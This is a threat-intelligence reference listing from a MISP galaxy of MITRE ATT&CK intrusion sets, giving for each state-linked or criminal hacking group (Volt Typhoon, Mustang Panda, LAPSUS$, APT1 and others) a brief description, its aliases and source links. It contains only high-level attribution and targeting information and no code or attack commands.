[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation:

Secureworks BRONZE SILHOUETTE May 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="Volt Typhoon - G1017"*

Volt Typhoon - G1017 is also known as:

- Volt Typhoon
- BRONZE SILHOUETTE
- Vanguard Panda
- DEV-0391
- UNC3236
- Voltzite
- Insidious Taurus

Table 10751. Table References

Links
https://attack.mitre.org/groups/G1017
https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations

Indrik Spider - G0119

[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Indrik Spider - G0119"*

Indrik Spider - G0119 is also known as:

- Indrik Spider
- Evil Corp
- Manatee Tempest

- DEV-0243
- UNC2165

Table 10752. Table References

Links
https://attack.mitre.org/groups/G0119
https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/
https://home.treasury.gov/news/press-releases/sm845
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/

Silent Librarian - G0122

[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Silent Librarian - G0122"*

Silent Librarian - G0122 is also known as:

- Silent Librarian
- TA407
- COBALT DICKENS

Table 10753. Table References

Links
https://attack.mitre.org/groups/G0122
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment
https://www.justice.gov/usao-sdny/press-release/file/1045781/download
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities

https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again

INC Ransom - G1032

[INC Ransom](https://attack.mitre.org/groups/G1032) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://attack.mitre.org/software/S1139) that has been active since at least July 2023. [INC Ransom](https://attack.mitre.org/groups/G1032) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SentinelOne INC Ransomware)

The tag is: *misp-galaxy:mitre-intrusion-set="INC Ransom - G1032"*

INC Ransom - G1032 is also known as:

- INC Ransom
- GOLD IONIC

Table 10754. Table References

Links
https://attack.mitre.org/groups/G1032
https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/
https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf
https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware
https://www.sentinelone.com/anthology/inc-ransom/

Volatile Cedar - G0123

[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Volatile Cedar - G0123"*

Volatile Cedar - G0123 is also known as:

- Volatile Cedar
- Lebanese Cedar

Table 10755. Table References

Links

https://attack.mitre.org/groups/G0123
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Contagious Interview - G1052

[Contagious Interview](https://attack.mitre.org/groups/G1052) is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. [Contagious Interview](https://attack.mitre.org/groups/G1052) targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities. (Citation: Validin Contagious Interview North Korea ClickFix January 2025)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: Datadog Contagious Interview Tenacious Pungsan October 2024)(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Contagious Interview - G1052"*

Contagious Interview - G1052 is also known as:

- Contagious Interview
- DeceptiveDevelopment
- Gwisin Gang
- Tenacious Pungsan
- DEV#POPPER
- PurpleBravo
- TAG-121

Table 10756. Table References

Links
https://attack.mitre.org/groups/G1052
https://reports.dtexsystems.com/DTEX-Exposing+DPRK+Cyber+Syndicate+and+Hidden+IT+Workforce.pdf
https://securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/
https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/

https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/
https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2
https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat
https://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-developers-likely-associated-with-north-korean-threat-actors/
https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/
https://www.validin.com/blog/inoculating_contagious_interview_with_validin/
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/
https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

Mustang Panda - G0129

[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler)

The tag is: *misp-galaxy:mitre-intrusion-set="Mustang Panda - G0129"*

Mustang Panda - G0129 is also known as:

- Mustang Panda
- TA416
- RedDelta
- BRONZE PRESIDENT
- STATELY TAURUS
- FIREANT
- CAMARO DRAGON
- EARTH PRETA

- HIVE0154
- TWILL TYPHOON
- TANTALUM
- LUMINOUS MOTH
- UNC6384
- TEMP.Hex
- Red Lich

Table 10757. Table References

Links
https://attack.mitre.org/groups/G0129
https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
https://blog.talosintelligence.com/mustang-panda-targets-europe/
https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims
https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats
https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf
https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming
https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/
https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/
https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/
https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/
https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor
https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

https://www.justice.gov/archives/opa/media/1384136/dl
https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european
https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.secureworks.com/blog/bronze-president-targets-government-officials
https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx
https://www.secureworks.com/research/bronze-president-targets-ngos
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html
https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html
https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1

Star Blizzard - G1033

[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Star Blizzard - G1033"*

Star Blizzard - G1033 is also known as:

- Star Blizzard
- SEABORGIUM
- Callisto Group
- TA446
- COLDRIVER

Table 10758. Table References

Links
https://attack.mitre.org/groups/G1033
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a
https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/
https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/

Nomadic Octopus - G0133

[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Nomadic Octopus - G0133"*

Nomadic Octopus - G0133 is also known as:

- Nomadic Octopus
- DustSquad

Table 10759. Table References

Links
https://attack.mitre.org/groups/G0133
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html
https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia
https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf

Aquatic Panda - G0143

[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Aquatic Panda - G0143"*

Aquatic Panda - G0143 is also known as:

- Aquatic Panda

Table 10760. Table References

Links
https://attack.mitre.org/groups/G0143
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/

Transparent Tribe - G0134

[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Transparent Tribe - G0134"*

Transparent Tribe - G0134 is also known as:

- Transparent Tribe
- COPPER FIELDSTONE
- APT36
- Mythic Leopard
- ProjectM

View relationships graph

Transparent Tribe - G0134 has relationships with:

- similar: misp-galaxy:360net-threat-actor="□□□□ - APT-C-56" with estimative-language:likelihood-probability="likely"

Table 10761. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/
https://attack.mitre.org/groups/G0134
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://securelist.com/transparent-tribe-part-1/98127/

https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

Winter Vivern - G1035

Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="Winter Vivern - G1035"*

Winter Vivern - G1035 is also known as:

- Winter Vivern
- TA473
- UAC-0114

Table 10762. Table References

Links
https://attack.mitre.org/groups/G1035
https://cert.gov.ua/article/3761104
https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/
https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability
https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/
https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/

Moonstone Sleet - G1036

[Moonstone Sleet](https://attack.mitre.org/groups/G1036) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://attack.mitre.org/groups/G0032), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is notable for creating fake companies and

personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.(Citation: Microsoft Moonstone Sleet 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Moonstone Sleet - G1036"*

Moonstone Sleet - G1036 is also known as:

- Moonstone Sleet
- Storm-1789

Table 10763. Table References

Links
https://attack.mitre.org/groups/G1036
https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/

Ferocious Kitten - G0137

[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Ferocious Kitten - G0137"*

Ferocious Kitten - G0137 is also known as:

- Ferocious Kitten

Table 10764. Table References

Links
https://attack.mitre.org/groups/G0137
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Salt Typhoon - G1045

[Salt Typhoon](https://attack.mitre.org/groups/G1045) is a People’s Republic of China (PRC) state-backed actor that has been active since at least 2019 and responsible for numerous compromises of network infrastructure at major U.S. telecommunication and internet service providers (ISP).(Citation: US Dept. of Treasury Salt Typhoon JAN 2025)(Citation: Cisco Salt Typhoon FEB 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Salt Typhoon - G1045"*

Salt Typhoon - G1045 is also known as:

- Salt Typhoon

Table 10765. Table References

Links
https://attack.mitre.org/groups/G1045
https://blog.talosintelligence.com/salt-typhoon-analysis/
https://home.treasury.gov/news/press-releases/jy2792

Velvet Ant - G1047

[Velvet Ant](https://attack.mitre.org/groups/G1047) is a threat actor operating since at least 2021. [Velvet Ant](https://attack.mitre.org/groups/G1047) is associated with complex persistence mechanisms, the targeting of network devices and appliances during operations, and the use of zero day exploits.(Citation: Sygnia VelvetAnt 2024A)(Citation: Sygnia VelvetAnt 2024B)

The tag is: *misp-galaxy:mitre-intrusion-set="Velvet Ant - G1047"*

Velvet Ant - G1047 is also known as:

- Velvet Ant

Table 10766. Table References

Links
https://attack.mitre.org/groups/G1047
https://www.sygnia.co/blog/china-nexus-threat-group-velvet-ant/
https://www.sygnia.co/threat-reports-and-advisories/china-nexus-threat-group-velvet-ant-exploits-cisco-0-day/

LAPSUS$ - G1004

[LAPSUS$](https://attack.mitre.org/groups/G1004) is cyber criminal threat group that has been active since at least mid-2021. [LAPSUS$](https://attack.mitre.org/groups/G1004) specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.(Citation: BBC LAPSUS Apr 2022)(Citation: MSTIC DEV-0537 Mar 2022)(Citation: UNIT 42 LAPSUS Mar 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="LAPSUS$ - G1004"*

LAPSUS$ - G1004 is also known as:

- LAPSUS$
- DEV-0537
- Strawberry Tempest

Table 10767. Table References

Links
https://attack.mitre.org/groups/G1004
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://unit42.paloaltonetworks.com/lapsus-group/
https://www.bbc.com/news/technology-60953527
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

APT-C-36 - G0099

[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)

The tag is: *misp-galaxy:mitre-intrusion-set="APT-C-36 - G0099"*

APT-C-36 - G0099 is also known as:

- APT-C-36
- Blind Eagle

Table 10768. Table References

Links
https://attack.mitre.org/groups/G0099
https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/

APT-C-23 - G1028

[APT-C-23](https://attack.mitre.org/groups/G1028) is a threat group that has been active since at least 2014.(Citation: symantec_mantis) [APT-C-23](https://attack.mitre.org/groups/G1028) has primarily focused its operations on the Middle East, including Israeli military assets. [APT-C-23](https://attack.mitre.org/groups/G1028) has developed mobile spyware targeting Android and iOS devices since 2017.(Citation: welivesecurity_apt-c-23)

The tag is: *misp-galaxy:mitre-intrusion-set="APT-C-23 - G1028"*

APT-C-23 - G1028 is also known as:

- APT-C-23
- Mantis
- Arid Viper

- Desert Falcon
- TAG-63
- Grey Karkadann
- Big Bang APT
- Two-tailed Scorpion

Table 10769. Table References

Links
https://attack.mitre.org/groups/G1028
https://web.archive.org/web/20201123042131/www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/
https://web.archive.org/web/20230604112435/https://research.checkpoint.com/2018/interactive-mapping-of-apt-c-23/
https://web.archive.org/web/20231126111812/https:/about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf
https://web.archive.org/web/20231227054130/https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks
https://web.archive.org/web/20240208234008/www.sentinelone.com/labs/the-israel-hamas-war-cyber-domain-state-sponsored-activity-of-interest/

Storm-0501 - G1053

[Storm-0501](https://attack.mitre.org/groups/G1053) is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. [Storm-0501](https://attack.mitre.org/groups/G1053) has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, [BlackCat](https://attack.mitre.org/software/S1068), Hunters International, [LockBit 3.0](https://attack.mitre.org/software/S1202), and [Embargo](https://attack.mitre.org/software/S1247) ransomware.(Citation: Avertium Storm-0501 Sabbath Ransomware Arcane January 2022)(Citation: Microsoft Storm-501 Sabbath Ransomware Embargo September 2024)(Citation: Microsoft Storm-0501 Embargo Ransomware August 2025)(Citation: Google Mandiant Storm-0501 Sabbath Ransomware November 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Storm-0501 - G1053"*

Storm-0501 - G1053 is also known as:

- Storm-0501

Table 10770. Table References

Links
https://attack.mitre.org/groups/G1053
https://cloud.google.com/blog/topics/threat-intelligence/sabbath-ransomware-affiliate/

https://www.avertium.com/resources/threat-reports/in-depth-look-at-sabbath-ransomware-gang
https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/
https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/

Storm-1811 - G1046

[Storm-1811](https://attack.mitre.org/groups/G1046) is a financially-motivated entity linked to [Black Basta](https://attack.mitre.org/software/S1070) ransomware deployment. [Storm-1811](https://attack.mitre.org/groups/G1046) is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake "help desk" interaction leading to the deployment of adversary tools and capabilities.(Citation: Microsoft Storm-1811 2024)(Citation: rapid7-email-bombing)(Citation: RedCanary Storm-1811 2024)(Citation: RedCanary June Insights 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Storm-1811 - G1046"*

Storm-1811 - G1046 is also known as:

- Storm-1811

Table 10771. Table References

Links
https://attack.mitre.org/groups/G1046
https://redcanary.com/blog/threat-intelligence/intelligence-insights-june-2024/
https://redcanary.com/blog/threat-intelligence/storm-1811-black-basta/
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators

TEMP.Veles - G0088

[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="TEMP.Veles - G0088"*

TEMP.Veles - G0088 is also known as:

- TEMP.Veles
- XENOTIME

Table 10772. Table References

Links
https://attack.mitre.org/groups/G0088
https://dragos.com/resource/xenotime/
https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html [https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html]
https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html
https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html

FIN10 - G0051

[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN10 - G0051"*

FIN10 - G0051 is also known as:

- FIN10

Table 10773. Table References

Links
https://attack.mitre.org/groups/G0051
https://services.google.com/fh/files/misc/rpt-fin-10-anatomy-of-a-cyber-en.pdf

APT12 - G0005

[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)

The tag is: *misp-galaxy:mitre-intrusion-set="APT12 - G0005"*

APT12 - G0005 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda

- DNSCALC

View relationships graph

APT12 - G0005 has relationships with:

- similar: misp-galaxy:threat-actor="APT12" with estimative-language:likelihood-probability="likely"

Table 10774. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://attack.mitre.org/groups/G0005
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

APT30 - G0013

[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="APT30 - G0013"*

APT30 - G0013 is also known as:

- APT30

View relationships graph

APT30 - G0013 has relationships with:

- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"

Table 10775. Table References

Links
https://attack.mitre.org/groups/G0013
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf
https://securelist.com/the-naikon-apt/69953/

APT1 - G0006

[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd

Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-intrusion-set="APT1 - G0006"*

APT1 - G0006 is also known as:

- APT1
- Comment Crew
- Comment Group
- Comment Panda

View relationships graph

APT1 - G0006 has relationships with:

- similar: misp-galaxy:threat-actor="APT1" with estimative-language:likelihood-probability="likely"

Table 10776. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/groups/G0006
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Axiom - G0001

[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)

